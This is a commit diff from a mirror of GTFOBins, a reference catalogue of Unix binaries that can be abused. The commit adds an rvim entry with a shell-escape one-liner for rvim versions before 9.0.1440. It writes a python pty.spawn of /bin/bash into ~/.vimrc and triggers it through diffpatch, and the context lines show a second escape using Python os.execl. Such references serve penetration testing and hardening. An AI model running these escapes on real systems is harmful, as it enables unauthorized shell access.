1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-06-06 22:36:04 +02:00
This commit is contained in:
vhash 2024-04-24 13:27:17 +08:00 committed by GitHub
commit e4979ae345
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -1,6 +1,8 @@
---
functions:
shell:
- description: This requires that `rvim` version is `< 9.0.1440`.
code: rvim -c ':redir! > ~/.vimrc | echo "!python3 -c \'import pty; pty.spawn(\"/bin/bash\")\'" | redir END | set shell=/usr/bin/vim | diffpatch'
- description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
- description: This requires that `rvim` is compiled with Lua support.